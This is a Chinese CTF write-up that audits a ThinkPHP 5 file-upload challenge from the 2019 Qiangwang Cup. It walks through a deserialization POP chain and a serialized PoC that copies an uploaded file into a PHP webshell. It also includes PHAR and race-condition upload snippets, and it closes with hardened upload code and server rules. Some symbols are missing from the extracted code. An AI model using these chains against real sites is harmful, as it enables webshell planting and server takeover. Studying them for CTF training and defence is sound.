CTF文件上传漏洞审计:绕过ThinkPHP 5的2层防御实现Webshell写入

📅 2026/7/13 11:39:47
CTF文件上传漏洞审计:绕过ThinkPHP 5的2层防御实现Webshell写入
CTF文件上传漏洞审计ThinkPHP 5双层防御的魔术方法绕过实战在Web安全领域文件上传漏洞始终是攻防演练中的高频考点。本文将以2019年强网杯Upload赛题为蓝本深度剖析ThinkPHP 5框架下的双层防御机制绕过技巧。不同于常规的漏洞复现我们将从开发者防御视角出发逐步拆解安全设计被突破的内在逻辑帮助安全从业者建立主动挖掘漏洞的思维模式。1. 靶场环境与防御机制分析1.1 初始攻击面探测靶场呈现典型的用户上传功能界面表面防御措施包括文件类型白名单仅允许jpg/png等图片格式内容检测使用getimagesize()验证文件内容存储安全自动重命名文件为MD5值强制修改上传文件后缀为png独立上传目录隔离# 目录扫描发现的关键信息 /www.tar.gz # 源码压缩包 /.idea/workspace.xml # IDE配置文件泄露1.2 双层防御机制还原通过审计application/web/controller/Profile.php发现核心防御逻辑class Profile { public function upload_img() { // 第一层后缀名检测 if(!$this-ext_check($this-ext)){ $this-error(Illegal suffix!); } // 第二层内容检测与重命名 $temp_file $this-filename_tmp; $new_name md5(rand(1,10000))..png; if(copy($temp_file, $new_name)){ $this-success(Upload success!); } } }开发者通过组合策略试图构建纵深防御入口过滤前端JS后端PHP双重校验文件类型内容净化强制修改文件扩展名防止直接解析存储隔离随机化文件名防止目录遍历2. 反序列化漏洞链构造2.1 攻击入口发现审计Register.php发现危险的反序列化点class Register { public function __destruct() { if(!$this-registed){ $this-checker-index(); // 可控方法调用 } } }结合Profile类的魔术方法class Profile { public function __call($name, $arguments){ if($this-{$name}){ $this-{$this-{$name}}($arguments); } } public function __get($name){ return $this-except[$name]; } }形成完整的POP链Register::__destruct() → Profile::index()(不存在) → Profile::__call() → Profile::__get() → Profile::upload_img()2.2 利用链关键技术点攻击阶段关键技术防御绕过要点入口触发反序列化利用Cookie存储序列化数据方法调用__call魔术方法突破不存在方法的限制参数控制__get魔术方法动态属性访问劫持文件操作copy函数特性无视后缀名检测完整POC构造?php namespace app\web\controller; class Profile { public $except [index img]; public $img upload_img; public $ext png; public $filename_tmp /tmp/evil.png; public $filename /var/www/html/shell.php; } class Register { public $checker; public $registed false; } $payload new Register(); $payload-checker new Profile(); echo base64_encode(serialize($payload));3. 完整攻击路径演示3.1 攻击步骤分解信息收集阶段注册普通用户获取基础权限上传图片马获取文件存储路径扫描获取www.tar.gz源码包漏洞利用阶段POST /upload HTTP/1.1 Cookie: userbase64_serialized_payload Content-Type: multipart/form-data ------WebKitFormBoundary Content-Disposition: form-data; namefile; filenametest.png ...结果验证访问/upload/md5(shell).php验证webshell使用蚁剑等工具连接管理3.2 防御机制绕过对照表防御层原始设计绕过方法根本原因文件类型检测MIME后缀名检查合法图片头PHP代码内容检测不完整重命名策略MD5随机化命名反序列化控制目标路径拷贝操作未校验目标路径目录隔离独立上传目录路径穿越(../)未规范化路径处理4. 深度防御方案建议4.1 代码层加固// 安全的文件上传示例 function safe_upload($file) { // 1. 白名单校验 $allowed [jpg image/jpeg]; $ext pathinfo($file[name], PATHINFO_EXTENSION); if(!array_key_exists($ext, $allowed)){ return false; } // 2. 内容校验 $finfo new finfo(FILEINFO_MIME_TYPE); if($allowed[$ext] ! $finfo-file($file[tmp_name])){ return false; } // 3. 安全存储 $new_name bin2hex(random_bytes(16))...$ext; $dest /var/www/uploads/.$new_name; // 4. 移动文件 if(move_uploaded_file($file[tmp_name], $dest)){ return $new_name; } return false; }4.2 架构级防护前端防护使用WebAssembly进行实时文件头校验实施分块上传哈希校验服务端防护location ^~ /uploads/ { deny all; location ~* \.php$ { return 403; } }运行时防护使用OpenRASP拦截异常文件操作部署文件完整性监控5. 拓展攻击场景5.1 其他可能利用方式PHAR反序列化// 构造恶意phar文件 $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-addFromString(test.txt, text); $phar-setStub(?php __HALT_COMPILER(); ?);条件竞争利用import threading def upload(): while True: requests.post(url, files{file: (shell.php, payload)}) def access(): while True: requests.get(urluploads/tmp/shell.php)5.2 框架通用性问题ThinkPHP历史版本中常见的危险方法方法名风险等级修复方案__destruct高危避免敏感操作__call中危严格方法过滤__get中危属性访问控制在真实项目渗透测试中遇到文件上传功能时建议优先检查是否存在.tar.gz/.git等源码泄露框架是否使用危险魔术方法配置文件是否暴露数据库凭证